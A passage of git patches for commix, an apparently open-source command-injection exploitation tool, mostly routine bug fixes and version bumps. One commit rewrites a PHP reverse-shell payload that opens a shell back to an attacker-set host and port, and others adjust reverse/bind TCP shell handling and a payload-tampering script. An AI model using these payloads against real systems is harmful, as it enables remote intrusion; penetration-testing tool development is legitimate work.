time.time() - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: from src.core.injections.semiblind.techniques.file_based import fb_injector as injector - response = injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) else: from src.core.injections.results_based.techniques.classic import cb_injector as injector whitespace = settings.WHITESPACES[0] diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 4fcaef090c..3ebc407ac6 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -33,6 +33,7 @@ def tfb_injection_handler(url, timesec, filename, http_request_method, url_time_ (call the injection handler) """ def exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response): + settings.WEB_ROOT = "" # Check if attack is based on time delays. if not settings.TIME_RELATIVE_ATTACK : checks.time_relative_attaks_msg() diff --git a/src/utils/settings.py b/src/utils/settings.py index 3ed0f120d0..38f5fed956 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "104" +REVISION = "105" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From fa8a9723e3197a30cca0dbbe5e855f3e5620a714 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 25 Oct 2024 08:41:24 +0300 Subject: [PATCH 505/560] Minor update regarding "PHP-reverse-shell" payload --- src/core/requests/requests.py | 1 + src/core/shells/bind_tcp.py | 2 ++ src/core/shells/reverse_tcp.py | 4 +++- src/utils/settings.py | 2 +- 4 files changed, 7 insertions(+), 2 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 8fc20e6d42..92e148c2cf 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -261,6 +261,7 @@ def estimate_response_time(url, timesec, http_request_method): Exceptions regarding requests failure(s) """ def request_failed(err_msg): + settings.VALID_URL = False try: diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index bd1c622c4a..840519ddb7 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -323,6 +323,8 @@ def bind_tcp_options(separator): # Option 2 - Other (Netcat-Without-Netcat) shells elif bind_tcp_option == '2' : bind_tcp_option = other_bind_shells(separator) + if settings.EVAL_BASED_STATE != False: + bind_tcp_option = bind_tcp_option.replace("$","\\$") if bind_tcp_option.lower() not in settings.SHELL_OPTIONS: checks.shell_success("bind") break diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index e901ee2a6f..c953f01723 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -116,7 +116,7 @@ def other_reverse_shells(separator): # PHP-reverse-shell if other_shell == '1': other_shell = "php -r '$sock=fsockopen(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \ - "exec(\"/bin/sh -i <%263 >%263 2>%263\");'" + "$proc=proc_open(\"/bin/sh -i\",array(0%3d>$sock,1%3d>$sock,2%3d>$sock),$pipes);'" break # Perl-reverse-shell @@ -500,6 +500,8 @@ def reverse_tcp_options(separator): # Option 2 - Other (Netcat-Without-Netcat) shells elif reverse_tcp_option == '2' : reverse_tcp_option = other_reverse_shells(separator) + if settings.EVAL_BASED_STATE != False: + reverse_tcp_option = reverse_tcp_option.replace("$","\\$") if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS: checks.shell_success("reverse") break diff --git a/src/utils/settings.py b/src/utils/settings.py index 38f5fed956..ca3440f045 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "105" +REVISION = "106" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 1086debcd078370064edd1664204af14f409b8fd Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 4 Nov 2024 09:07:17 +0200 Subject: [PATCH 506/560] Improvements regarding shell options `reverse_tcp`, `bind_tcp` --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 13 ++++++--- .../injections/controller/shell_options.py | 27 ------------------- src/core/main.py | 13 +++++---- src/core/modules/shellshock/shellshock.py | 3 --- src/core/requests/headers.py | 2 ++ src/utils/settings.py | 2 +- 7 files changed, 21 insertions(+), 40 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 79b2ba9751..76ecb37356 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Improvements regarding shell options `reverse_tcp`, `bind_tcp`. * Revised: Major code refactoring regarding session handler. * Revised: Minor improvement regarding options `--prefix`, `--suffix`. * Revised: Improvement regarding writing text to the stdout (console) stream. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index c5008d4329..7c4d9ec4da 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -370,9 +370,9 @@ def connection_exceptions(err_msg): settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 if settings.MAX_RETRIES > 1: time.sleep(settings.DELAY_RETRY) - if not settings.MULTI_TARGETS and not settings.CRAWLING: - info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if not any((settings.MULTI_TARGETS, settings.CRAWLING,settings.REVERSE_TCP,settings.BIND_TCP)): + warn_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if not settings.VALID_URL : if settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES and not settings.MULTI_TARGETS: raise SystemExit() @@ -3048,7 +3048,12 @@ def time_relative_export_injection_results(cmd, separator, output, check_exec_ti Success msg. """ def shell_success(option): - info_msg = "Everything is in place. Cross your fingers and check for " + option + " shell on port " + settings.LPORT + "." + info_msg = "Sending payload to target, for " + option + " TCP connection " + if settings.BIND_TCP: + info_msg += "against " + settings.RHOST + else: + info_msg += "on " + settings.LHOST + info_msg += ":" + settings.LPORT + "." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) """ diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index ed6900ca84..4689ad7ba0 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -26,24 +26,6 @@ from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init -""" -Check for established connection -""" -def check_established_connection(): - while True: - time.sleep(1) - if settings.VERBOSITY_LEVEL == 1: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - warn_msg = "Something went wrong with the reverse TCP connection." - warn_msg += " Please wait while checking state." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - lines = os.popen('netstat -anta').read().split("\n") - for line in lines: - if settings.LHOST + ":" + settings.LPORT in line and "ESTABLISHED" in line: - pass - else: - return - """ Execute the bind / reverse TCP shell """ @@ -75,15 +57,6 @@ def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_ # Evaluate injection results. shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) - if settings.REVERSE_TCP and (int(diff) > 0 and int(diff) < 6): - check_established_connection() - # else: - # if settings.VERBOSITY_LEVEL == 1: - # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "The " + os_shell_option.split("_")[0] + " " - err_msg += os_shell_option.split("_")[1].upper() + " connection has failed." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - """ Configure the bind TCP shell """ diff --git a/src/core/main.py b/src/core/main.py index e4360a9590..f2779f4acc 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -562,12 +562,15 @@ def main(filename, url, http_request_method): # Accidental stop / restart of the target host server. except (_http_client.BadStatusLine, SocketError) as err_msg: - if settings.VERBOSITY_LEVEL != 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "The target host is not responding." - err_msg += " Please ensure that is up and try again." - settings.print_data_to_stdout("\n" + settings.print_critical_msg(err_msg)) + if any((settings.REVERSE_TCP, settings.BIND_TCP)): + err_msg = "Connection failed to be established." + else: + err_msg = "The target host is not responding." + err_msg += " Please ensure that is up and try again." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) logs.print_logs_notification(filename, url) + if any((settings.REVERSE_TCP, settings.BIND_TCP)): + raise SystemExit() try: filename = "" diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index c7b3fd67e7..c4223d375f 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -187,9 +187,6 @@ def file_access(url, cve, check_header, filename): """ def execute_shell(url, cmd, cve, check_header, filename, os_shell_option): shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - err_msg = "The " + os_shell_option.split("_")[0] + " " - err_msg += os_shell_option.split("_")[1].upper() + " connection has failed." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) """ Configure the bind TCP shell diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index f93cd7255a..dbd24b6bd6 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -163,6 +163,8 @@ def https_open(self, req): response = False unauthorized = False while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False: + if any((settings.REVERSE_TCP, settings.BIND_TCP)): + _ = True if settings.MULTI_TARGETS: if settings.INIT_TEST == True and len(settings.MULTI_ENCODED_PAYLOAD) != 0: settings.MULTI_ENCODED_PAYLOAD = [] diff --git a/src/utils/settings.py b/src/utils/settings.py index ca3440f045..48e5d54eb8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "106" +REVISION = "107" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 48575185e8c233e8ff39d88747ebe9c3a0908477 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 5 Nov 2024 17:56:09 +0200 Subject: [PATCH 507/560] Potential fix for https://github.com/commixproject/commix/issues/974 --- src/core/requests/parameters.py | 3 +++ src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index cc40128cf5..9cddd2a9c0 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -724,6 +724,9 @@ def specify_cookie_parameter(cookie): break else: vuln_parameter = cookie + + if 'vuln_parameter' not in locals(): + return cookie return vuln_parameter diff --git a/src/utils/settings.py b/src/utils/settings.py index 48e5d54eb8..77b2599e25 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "107" +REVISION = "108" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 05b3b51bcecfbf1a82b4f05cee427aadf4a9998f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 6 Nov 2024 07:11:22 +0200 Subject: [PATCH 508/560] Potential fix for https://github.com/commixproject/commix/issues/973 --- src/thirdparty/beautifulsoup/beautifulsoup.py | 9 +++++---- src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/src/thirdparty/beautifulsoup/beautifulsoup.py b/src/thirdparty/beautifulsoup/beautifulsoup.py index c0d2cc4b25..900f00e0a4 100644 --- a/src/thirdparty/beautifulsoup/beautifulsoup.py +++ b/src/thirdparty/beautifulsoup/beautifulsoup.py @@ -106,10 +106,11 @@ except NameError: from sets import Set as set -try: - import sgmllib -except ImportError: - from src.utils import sgmllib +from src.utils import sgmllib +# try: +# import sgmllib +# except ImportError: +# from src.utils import sgmllib try: import markupbase diff --git a/src/utils/settings.py b/src/utils/settings.py index 77b2599e25..364f9c21f5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "108" +REVISION = "109" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7d4db1a6a1cc30be8b4a5981390010baf931d69c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 7 Nov 2024 07:51:05 +0200 Subject: [PATCH 509/560] Potential fix for https://github.com/commixproject/commix/issues/975 https://github.com/commixproject/commix/issues/976 --- src/utils/crawler.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 99700efe5f..01ffeb9465 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -112,7 +112,7 @@ def store_crawling(output_href): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) with open(filename, "a") as crawling_results: for url in output_href: - crawling_results.write(url + "\n") + crawling_results.write(url.encode(settings.DEFAULT_CODEC).decode() + "\n") return elif message in settings.CHOICE_NO: return diff --git a/src/utils/settings.py b/src/utils/settings.py index 364f9c21f5..84d404dc18 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "109" +REVISION = "110" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 75dee55d58ceae56cab9134c790b6a18a6ff8f6d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 11 Nov 2024 19:03:01 +0200 Subject: [PATCH 510/560] Potential fix for https://github.com/commixproject/commix/issues/979 --- src/core/injections/controller/parser.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 693b67a686..07a85d3409 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -73,7 +73,7 @@ def invalid_data(request): try: if os.stat(request_file).st_size != 0: - with open(request_file, 'r') as file: + with open(request_file, encoding=settings.DEFAULT_CODEC) as file: request = file.read() else: invalid_data(request_file) diff --git a/src/utils/settings.py b/src/utils/settings.py index 84d404dc18..8df77ea131 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "110" +REVISION = "111" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 9e65bfe37121bd1a62763a845f1444ed120cec26 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 12 Nov 2024 07:04:26 +0200 Subject: [PATCH 511/560] Potential fix for https://github.com/commixproject/commix/issues/978 --- src/thirdparty/flatten_json/flatten_json.py | 6 +++--- src/utils/settings.py | 4 +++- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/src/thirdparty/flatten_json/flatten_json.py b/src/thirdparty/flatten_json/flatten_json.py index 1d3129d52a..5815734e37 100644 --- a/src/thirdparty/flatten_json/flatten_json.py +++ b/src/thirdparty/flatten_json/flatten_json.py @@ -34,7 +34,7 @@ def _construct_key(previous_key, separator, new_key): else: return new_key -def flatten(nested_dict, separator="_", root_keys_to_ignore=""): +def flatten(nested_dict, separator=settings.FLATTEN_JSON_SEPARATOR, root_keys_to_ignore=""): """ Flattens a dictionary with nested structure to a dictionary with no hierarchy Consider ignoring keys that you are not interested in to prevent unnecessary processing @@ -87,7 +87,7 @@ def _unflatten_asserts(flat_dict, separator): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() -def unflatten(flat_dict, separator='_'): +def unflatten(flat_dict, separator=settings.FLATTEN_JSON_SEPARATOR): """ Creates a hierarchical dictionary from a flattened dictionary Assumes no lists are present @@ -112,7 +112,7 @@ def _unflatten(dic, keys, value): return unflattened_dict -def unflatten_list(flat_dict, separator='_'): +def unflatten_list(flat_dict, separator=settings.FLATTEN_JSON_SEPARATOR): """ Unflattens a dictionary, first assuming no lists exist and then tries to identify lists and replaces them This is probably not very efficient and has not been tested extensively diff --git a/src/utils/settings.py b/src/utils/settings.py index 8df77ea131..5691160847 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "111" +REVISION = "112" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1314,6 +1314,8 @@ class END_LINE: IGNORE_SPECIAL_CHAR_REGEX = "[^/()A-Za-z0-9.:,_+]" IGNORE_JSON_CHAR_REGEX = r"[{}\"\[\]]" +FLATTEN_JSON_SEPARATOR = ''.join(random.choice("{}") for _ in range(10)) + "_" + PERFORM_CRACKING = False PAGE_COMPRESSION = None From 786f28181631ae17f8baebc60add05901a9c9788 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 13 Nov 2024 07:12:38 +0200 Subject: [PATCH 512/560] Patch related to the https://github.com/commixproject/commix/issues/980 --- src/core/injections/controller/checks.py | 1 + src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7c4d9ec4da..d52eff8a89 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2109,6 +2109,7 @@ def check_similarities(all_params): parameter_value = ''.join(re.findall(r'=(.*)', all_params[param])) all_params[param] = parameter_name + "=" + parameter_value + settings.RANDOM_TAG + all_params = [x for x in all_params if x is not None] return all_params """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 5691160847..8a8201312e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "112" +REVISION = "113" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4ea7410308ca187f28c0fae478d648e939e7bc5b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 15 Nov 2024 10:47:22 +0200 Subject: [PATCH 513/560] Minor update --- src/utils/settings.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 8a8201312e..d162a28af9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "113" +REVISION = "114" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -509,16 +509,15 @@ class OS(object): # The command injection prefixes. PREFIXES = [] PREFIXES_LVL1 = [""] -PREFIXES_LVL2 = SEPARATORS_LVL1 +PREFIXES_LVL2 = PREFIXES_LVL1 + SEPARATORS_LVL1 PREFIXES_LVL3 = PREFIXES_LVL2 + ["'", "\""] # The command injection suffixes. SUFFIXES = [] SUFFIXES_LVL1 = [""] -SUFFIXES_LVL2 = SEPARATORS_LVL1 +SUFFIXES_LVL2 = SUFFIXES_LVL1 + SEPARATORS_LVL1 SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'", "\"", " #", "//", "\\\\"] - # Bad combination of prefix and separator JUNK_COMBINATION = [SEPARATORS_LVL1[i] + SEPARATORS_LVL1[j] for i in range(len(SEPARATORS_LVL1)) for j in range(len(SEPARATORS_LVL1))] From 92cf5d0fe807015d1622271c7ebf160b73455bef Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 18 Nov 2024 08:16:01 +0200 Subject: [PATCH 514/560] Fixes https://github.com/commixproject/commix/issues/981 --- doc/CHANGELOG.md | 1 + src/core/tamper/backticks.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 76ecb37356..8749c7fc96 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Minor bug-fix regarding tamper script "backticks.py" * Revised: Improvements regarding shell options `reverse_tcp`, `bind_tcp`. * Revised: Major code refactoring regarding session handler. * Revised: Minor improvement regarding options `--prefix`, `--suffix`. diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index 45f29695fe..169b8ccd88 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -28,7 +28,7 @@ def tamper(payload): settings.TAMPER_SCRIPTS[__tamper__] = True settings.USE_BACKTICKS = True - payload = payload.replace("$((", "`expr ").replace("))", "`") + payload = payload.replace("$((", "`expr" + settings.WHITESPACES[0]).replace("))", "`") return payload # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index d162a28af9..1d6ec99af4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "114" +REVISION = "115" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 885bc884a78adb33f854f85f0c07d06af955a32b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 22 Nov 2024 08:27:18 +0200 Subject: [PATCH 515/560] Potential fix for https://github.com/commixproject/commix/issues/984 --- src/core/requests/parameters.py | 3 +++ src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 9cddd2a9c0..e9dfe91c0d 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -207,6 +207,9 @@ def vuln_GET_param(url): else: vuln_parameter = url + if 'vuln_parameter' not in locals(): + return url + if settings.USER_DEFINED_POST_DATA and vuln_parameter: settings.IGNORE_USER_DEFINED_POST_DATA = True diff --git a/src/utils/settings.py b/src/utils/settings.py index 1d6ec99af4..0f8115ebab 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "115" +REVISION = "116" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 32ace9d74a182913fa873ffb1538453c7ef2b6a1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 25 Nov 2024 08:43:45 +0200 Subject: [PATCH 516/560] Potential fix for https://github.com/commixproject/commix/issues/983 --- src/core/injections/controller/checks.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index d52eff8a89..26014e9f2c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -415,7 +415,7 @@ def not_declared_cookies(response): else: common.invalid_option(set_cookies) pass - except (KeyError, TypeError): + except (AttributeError, KeyError, TypeError): pass """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 0f8115ebab..7b7a6476fa 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "116" +REVISION = "117" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From fd779077f492be5a111402c9e742d20385a7e329 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 28 Nov 2024 15:04:00 +0200 Subject: [PATCH 517/560] Potential fix for https://github.com/commixproject/commix/issues/985 --- src/core/requests/parameters.py | 67 +++++++++++++++++++-------------- src/utils/settings.py | 2 +- 2 files changed, 40 insertions(+), 29 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index e9dfe91c0d..81043ae3c0 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -737,52 +737,63 @@ def specify_cookie_parameter(cookie): The user-agent based injection. """ def specify_user_agent_parameter(user_agent): - header_name = settings.USER_AGENT - settings.TESTABLE_VALUE = checks.process_custom_injection_data(user_agent).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) - if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: - settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST - settings.TESTABLE_PARAMETERS_LIST.append(user_agent) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] - settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] + try: + header_name = settings.USER_AGENT + settings.TESTABLE_VALUE = checks.process_custom_injection_data(user_agent).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(user_agent) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] + except AttributeError: + pass return user_agent """ The referer based injection. """ def specify_referer_parameter(referer): - header_name = settings.REFERER - settings.TESTABLE_VALUE = checks.process_custom_injection_data(referer).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) - if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: - settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST - settings.TESTABLE_PARAMETERS_LIST.append(referer) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] - settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] + try: + header_name = settings.REFERER + settings.TESTABLE_VALUE = checks.process_custom_injection_data(referer).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(referer) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] + except AttributeError: + pass return referer """ The host based injection. """ def specify_host_parameter(host): - header_name = settings.HOST - settings.TESTABLE_VALUE = checks.process_custom_injection_data(host).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) - if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: - settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST - settings.TESTABLE_PARAMETERS_LIST.append(host) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] - 